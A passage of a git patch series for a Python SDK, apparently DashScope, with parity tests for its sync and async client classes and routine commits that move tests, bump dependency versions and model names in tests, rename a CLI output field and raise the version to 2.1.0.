synthetic -# twins with a known drift and assert it reports it -- the in-suite equivalent -# of "delete an async method and watch the parity test go red". -# --------------------------------------------------------------------------- - -_SYNTHETIC = _Pair("synthetic.py", "Models", "AsyncModels") - -_SYNC_SRC = """ -class Models: - def __init__(self, client): - pass - - def list(self, *, page_no=1): - pass - - def get(self, model): - pass -""" - -_ASYNC_SRC_ALIGNED = """ -class AsyncModels: - def __init__(self, client): - pass - - async def list(self, *, page_no=1): - pass - - async def get(self, model): - pass -""" - -_ASYNC_SRC_MISSING_METHOD = """ -class AsyncModels: - def __init__(self, client): - pass - - async def list(self, *, page_no=1): - pass -""" - -_ASYNC_SRC_EXTRA_PARAM = """ -class AsyncModels: - def __init__(self, client): - pass - - async def list(self, *, page_no=1, provider=None): - pass - - async def get(self, model): - pass -""" - - -def test_detector_accepts_an_aligned_twin(): - sync = _sigs_from_source(_SYNC_SRC, "Models") - asyn = _sigs_from_source(_ASYNC_SRC_ALIGNED, "AsyncModels") - method_problems, param_problems = _diff(_SYNTHETIC, sync, asyn) - assert method_problems == [] - assert param_problems == [] - - -def test_detector_flags_a_missing_async_method(): - sync = _sigs_from_source(_SYNC_SRC, "Models") - asyn = _sigs_from_source(_ASYNC_SRC_MISSING_METHOD, "AsyncModels") - method_problems, _ = _diff(_SYNTHETIC, sync, asyn) - assert any("get" in problem for problem in method_problems) - - -def test_detector_flags_a_param_drift(): - sync = _sigs_from_source(_SYNC_SRC, "Models") - asyn = _sigs_from_source(_ASYNC_SRC_EXTRA_PARAM, "AsyncModels") - _, param_problems = _diff(_SYNTHETIC, sync, asyn) - assert any("list" in problem for problem in param_problems) - - -def test_detector_refuses_to_compare_a_class_it_cannot_find(): - # A typo'd class name must blow up, not report a vacuous pass. - pair = _Pair( - "dashscope/resources/models.py", - "Modelz", - "AsyncModels", - ) - with pytest.raises(AssertionError, match="no methods found"): - _diff_pair(pair) - - -def test_name_map_pairs_async_spellings_with_their_sync_names(): - # close/aclose and the four async dunders are the same method under a - # different name; the map must pair them, not report a two-sided drift. - sync = _sigs_from_source( - "class T:\n" - " def close(self):\n" - " pass\n" - " def __enter__(self):\n" - " pass\n" - " def __exit__(self, *exc):\n" - " pass\n" - " def __iter__(self):\n" - " pass\n" - " def __next__(self):\n" - " pass\n", - "T", - ) - asyn = _sigs_from_source( - "class T:\n" - " async def aclose(self):\n" - " pass\n" - " async def __aenter__(self):\n" - " pass\n" - " async def __aexit__(self, *exc):\n" - " pass\n" - " def __aiter__(self):\n" - " pass\n" - " async def __anext__(self):\n" - " pass\n", - "T", - ) - pair = _Pair("synthetic.py", "T", "T") - method_problems, param_problems = _diff(pair, sync, asyn) - assert method_problems == [] - assert param_problems == [] - - -def test_sync_only_exemption_is_honored(): - # A method present only on the sync side is drift unless it is exempted; - # the exemption (e.g. Client.ws_connection) must silence it. - sync = _sigs_from_source( - "class T:\n" - " def a(self):\n" - " pass\n" - " def b(self):\n" - " pass\n", - "T", - ) - asyn = _sigs_from_source( - "class T:\n async def a(self):\n pass\n", - "T", - ) - declared = _Pair("synthetic.py", "T", "T") - unexempted, _ = _diff(declared, sync, asyn) - assert any("b" in problem for problem in unexempted) - exempted, _ = _diff( - _Pair("synthetic.py", "T", "T", sync_only=frozenset({"b"})), - sync, - asyn, - ) - assert exempted == [] - - -def test_private_helpers_are_not_compared(): - # A private helper is not a contract, and the twins legitimately reach - # the same behaviour by different private means. Dunders stay compared. - sync = _sigs_from_source( - "class T:\n" - " def a(self):\n" - " pass\n" - " def _helper(self):\n" - " pass\n" - " def __iter__(self):\n" - " pass\n", - "T", - ) - asyn = _sigs_from_source( - "class T:\n async def a(self):\n pass\n", - "T", - ) - assert "_helper" not in sync - assert "__iter__" in sync - method_problems, _ = _diff(_Pair("synthetic.py", "T", "T"), sync, asyn) - # The dunder is still reported; the private helper is not. - assert any("__iter__" in problem for problem in method_problems) - assert not any("_helper" in problem for problem in method_problems) - - -def test_params_exempt_silences_a_declared_signature_gap(): - # The HttpTts/AsyncHttpTts case: both sides have the method, but the - # async one takes ``**kwargs``. Exempting it must quiet the param check - # while leaving the method-set check fully alive. - sync = _sigs_from_source( - "class T:\n def s(self, text, *, model, voice):\n pass\n", - "T", - ) - asyn = _sigs_from_source( - "class T:\n async def s(self, text, **kwargs):\n pass\n", - "T", - ) - declared = _Pair("synthetic.py", "T", "T") - _, unexempted = _diff(declared, sync, asyn) - assert any("s" in problem for problem in unexempted) - exempt, params = _diff( - _Pair("synthetic.py", "T", "T", params_exempt=frozenset({"s"})), - sync, - asyn, - ) - assert params == [] - assert exempt == [] - - -# --------------------------------------------------------------------------- -# Guard tests for the body check. Same discipline as above: prove it catches -# real logic drift, and prove it does *not* fire on the differences the twins -# are supposed to have. -# --------------------------------------------------------------------------- - - -def test_body_check_ignores_the_mechanical_async_difference(): - # await, async def, the Async class prefix, a "twin of" docstring and a - # signature annotation are all legitimate; none of them is drift. - sync = _bodies_from_source( - "class T:\n" - " def call(self, x):\n" - " helper = AsyncHelper()\n" - " return helper.run(x)\n", - "T", - ) - asyn = _bodies_from_source( - "class T:\n" - " async def call(self, x: int) -> str:\n" - ' """Async twin of T.call."""\n' - " helper = Helper()\n" - " return await helper.run(x)\n", - "T", - ) - pair = _Pair("synthetic.py", "T", "T") - assert _body_diff(pair, sync, asyn) == [] - - -def test_body_check_is_immune_to_reformatting(): - # Dropping an ``await`` shortens a line, so the formatter is free to - # re-flow it. Comparing source lines would call that drift; comparing - # unparsed trees does not. - sync = _bodies_from_source( - "class T:\n" - " def f(self, a, b):\n" - " return helper(a, b)\n", - "T", - ) - asyn = _bodies_from_source( - "class T:\n" - " async def f(self, a, b):\n" - " return await helper(\n" - " a,\n" - " b,\n" - " )\n", - "T", - ) - pair = _Pair("synthetic.py", "T", "T") - assert _body_diff(pair, sync, asyn) == [] - - -def test_body_check_flags_a_logic_drift(): - # The contract checks above cannot see this: same method name, same - # parameters, different behaviour on one side only. - sync = _bodies_from_source( - "class T:\n def f(self, x):\n return x + 1\n", - "T", - ) - asyn = _bodies_from_source( - "class T:\n async def f(self, x):\n return x + 2\n", - "T", - ) - problems = _body_diff(_Pair("synthetic.py", "T", "T"), sync, asyn) - assert len(problems) == 1 - assert "f body drifted" in problems[0] - - -def test_body_check_keeps_a_structural_async_difference(): - # ``async for`` is not a token rewrite, so it must still read as drift -- - # that is what forces the pair to declare itself in _BODY_EXEMPT rather - # than diverge silently. - sync = _bodies_from_source( - "class T:\n" - " def f(self, xs):\n" - " for x in xs:\n" - " yield x\n", - "T", - ) - asyn = _bodies_from_source( - "class T:\n" - " async def f(self, xs):\n" - " async for x in xs:\n" - " yield x\n", - "T", - ) - assert _body_diff(_Pair("synthetic.py", "T", "T"), sync, asyn) != [] - - -def test_body_exempt_silences_a_declared_body_divergence(): - sync = _bodies_from_source( - "class T:\n" - " def f(self, xs):\n" - " for x in xs:\n" - " yield x\n", - "T", - ) - asyn = _bodies_from_source( - "class T:\n" - " async def f(self, xs):\n" - " async for x in xs:\n" - " yield x\n", - "T", - ) - pair = _Pair("synthetic.py", "T", "T") - exempt = {("synthetic.py", "T", "f"): "sync generator vs async one"} - assert _body_diff(pair, sync, asyn, exempt) == [] - # The exemption is per method: an undeclared one still reports. - other = {("synthetic.py", "T", "g"): "unrelated"} - assert _body_diff(pair, sync, asyn, other) != [] - - -def test_body_check_compares_the_overload_implementation(): - # ``@overload`` repeats a name; the last binding is the implementation on - # both sides, so that is what must be compared -- not a stub. - sync = _bodies_from_source( - "class T:\n" - " @overload\n" - " def f(self, x: int) -> int:\n" - " ...\n" - " def f(self, x):\n" - " return x * 2\n", - "T", - ) - asyn = _bodies_from_source( - "class T:\n" - " @overload\n" - " async def f(self, x: int) -> int:\n" - " ...\n" - " async def f(self, x):\n" - " return await double(x)\n", - "T", - ) - assert "x * 2" in sync["f"] - problems = _body_diff(_Pair("synthetic.py", "T", "T"), sync, asyn) - assert len(problems) == 1 - assert "double" in problems[0] From 89d693a6a630e997102ab22476c257b885e139ad Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Thu, 5 Nov 2026 20:27:31 +0800 Subject: [PATCH 23/26] test(v2): move layer decoupling checks to current suite --- tests/{legacy_1x/unit => }/test_layer_decoupling.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename tests/{legacy_1x/unit => }/test_layer_decoupling.py (99%) diff --git a/tests/legacy_1x/unit/test_layer_decoupling.py b/tests/test_layer_decoupling.py similarity index 99% rename from tests/legacy_1x/unit/test_layer_decoupling.py rename to tests/test_layer_decoupling.py index 6f770542..917dbdbc 100644 --- a/tests/legacy_1x/unit/test_layer_decoupling.py +++ b/tests/test_layer_decoupling.py @@ -14,7 +14,7 @@ import importlib import pathlib -_REPO = pathlib.Path(__file__).resolve().parents[3] +_REPO = pathlib.Path(__file__).resolve().parents[1] _DASHSCOPE = _REPO / "dashscope" _SHARED = _DASHSCOPE / "_shared" _CURRENT = ( From 9581926eaad1a8334c763a3b1e76c5ef0b7b65aa Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Mon, 9 Nov 2026 11:07:35 +0800 Subject: [PATCH 24/26] chore: update LoongSuite and MaaS test models Upgrade loongsuite-util-genai to 0.5.0 for explicit Apache-2.0 metadata and refresh the model names used by MaaS region tests. --- .../reinforcement/examples/workspace/UserGuide-zh.md | 2 +- .../finetune/reinforcement/examples/workspace/UserGuide.md | 2 +- .../reinforcement/examples/workspace/requirements.txt | 2 +- tests/legacy_1x/unit/test_maas_region.py | 6 +++--- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide-zh.md b/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide-zh.md index db28c232..ae1ba566 100644 --- a/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide-zh.md +++ b/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide-zh.md @@ -91,7 +91,7 @@ opentelemetry-api==1.41.1 opentelemetry-sdk==1.41.1 opentelemetry-exporter-otlp-proto-http==1.41.1 opentelemetry-processor-baggage==0.62b1 -loongsuite-util-genai==0.4.0 +loongsuite-util-genai==0.5.0 ``` ### 2.6 日志配置 diff --git a/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide.md b/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide.md index 7cd80c79..a5a5fa71 100644 --- a/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide.md +++ b/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide.md @@ -90,7 +90,7 @@ opentelemetry-api==1.41.1 opentelemetry-sdk==1.41.1 opentelemetry-exporter-otlp-proto-http==1.41.1 opentelemetry-processor-baggage==0.62b1 -loongsuite-util-genai==0.4.0 +loongsuite-util-genai==0.5.0 ``` ### 2.6 Logging Configuration diff --git a/dashscope/applications/finetune/reinforcement/examples/workspace/requirements.txt b/dashscope/applications/finetune/reinforcement/examples/workspace/requirements.txt index 7a6df339..0c7b60dd 100644 --- a/dashscope/applications/finetune/reinforcement/examples/workspace/requirements.txt +++ b/dashscope/applications/finetune/reinforcement/examples/workspace/requirements.txt @@ -12,7 +12,7 @@ opentelemetry-api==1.41.1 opentelemetry-sdk==1.41.1 opentelemetry-exporter-otlp-proto-http==1.41.1 opentelemetry-processor-baggage==0.62b1 -loongsuite-util-genai==0.4.0 +loongsuite-util-genai==0.5.0 fsspec==2026.3.0 httpx==0.28.1 tenacity==9.1.4 diff --git a/tests/legacy_1x/unit/test_maas_region.py b/tests/legacy_1x/unit/test_maas_region.py index 4b3bc418..41c16226 100644 --- a/tests/legacy_1x/unit/test_maas_region.py +++ b/tests/legacy_1x/unit/test_maas_region.py @@ -296,7 +296,7 @@ def test_generation_call_resolves_workspace(self): url = self._capture_request_url( lambda: Generation.call( - model="qwen3-max", + model="qwen3.8-max", prompt="hi", workspace="ws-xyz", api_key="sk-test", @@ -313,7 +313,7 @@ def test_async_task_call_resolves_workspace(self): url = self._capture_request_url( lambda: ImageSynthesis.call( - model="qwen-image", + model="qwen-image-2.1-pro", prompt="hi", workspace="ws-xyz", api_key="sk-test", @@ -332,7 +332,7 @@ def test_call_without_workspace_raises_clear_error(self): with patch.object(env_mod, "_default_workspace_id", None): with self.assertRaises(InputRequired) as ctx: Generation.call( - model="qwen3-max", + model="qwen3.8-max", prompt="hi", api_key="sk-test", ) From 8b7fd31428efbafc9e3f1db4c8c82852b73d6416 Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Mon, 9 Nov 2026 14:15:16 +0800 Subject: [PATCH 25/26] test(cli): align job list output with SDK fields --- tests/cli/test_images_cmd.py | 2 +- tests/cli/test_videos_cmd.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/cli/test_images_cmd.py b/tests/cli/test_images_cmd.py index 982aa607..b3b8a74d 100644 --- a/tests/cli/test_images_cmd.py +++ b/tests/cli/test_images_cmd.py @@ -319,7 +319,7 @@ def test_jobs_list_json_output_is_the_envelope(self, invoke, images): images(jobs={"list": JobList(tasks=[_job()], total=1)}) result = invoke(["images", "jobs", "list"], global_args=["-o", "json"]) doc = json.loads(result.stdout) - assert doc["total"] == 1 + assert doc["total_count"] == 1 assert len(doc["tasks"]) == 1 def test_jobs_cancel_with_yes(self, invoke, images): diff --git a/tests/cli/test_videos_cmd.py b/tests/cli/test_videos_cmd.py index 258d37cf..7e357bb2 100644 --- a/tests/cli/test_videos_cmd.py +++ b/tests/cli/test_videos_cmd.py @@ -365,7 +365,7 @@ def test_jobs_list_json_output_is_the_envelope(self, invoke, videos): videos(jobs={"list": JobList(tasks=[_job()], total=1)}) result = invoke(["videos", "jobs", "list"], global_args=["-o", "json"]) doc = json.loads(result.stdout) - assert doc["total"] == 1 + assert doc["total_count"] == 1 assert len(doc["tasks"]) == 1 def test_jobs_cancel_with_yes(self, invoke, videos): From f552f91c729688ce85145427e2e3857113842d95 Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Mon, 9 Nov 2026 14:29:52 +0800 Subject: [PATCH 26/26] chore(version): bump version to 2.1.0 --- dashscope/version.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dashscope/version.py b/dashscope/version.py index fd051aad..88cef6b2 100644 --- a/dashscope/version.py +++ b/dashscope/version.py @@ -1,4 +1,4 @@ # -*- coding: utf-8 -*- # Copyright (c) Alibaba, Inc. and its affiliates. -__version__ = "2.0.4" +__version__ = "2.1.0"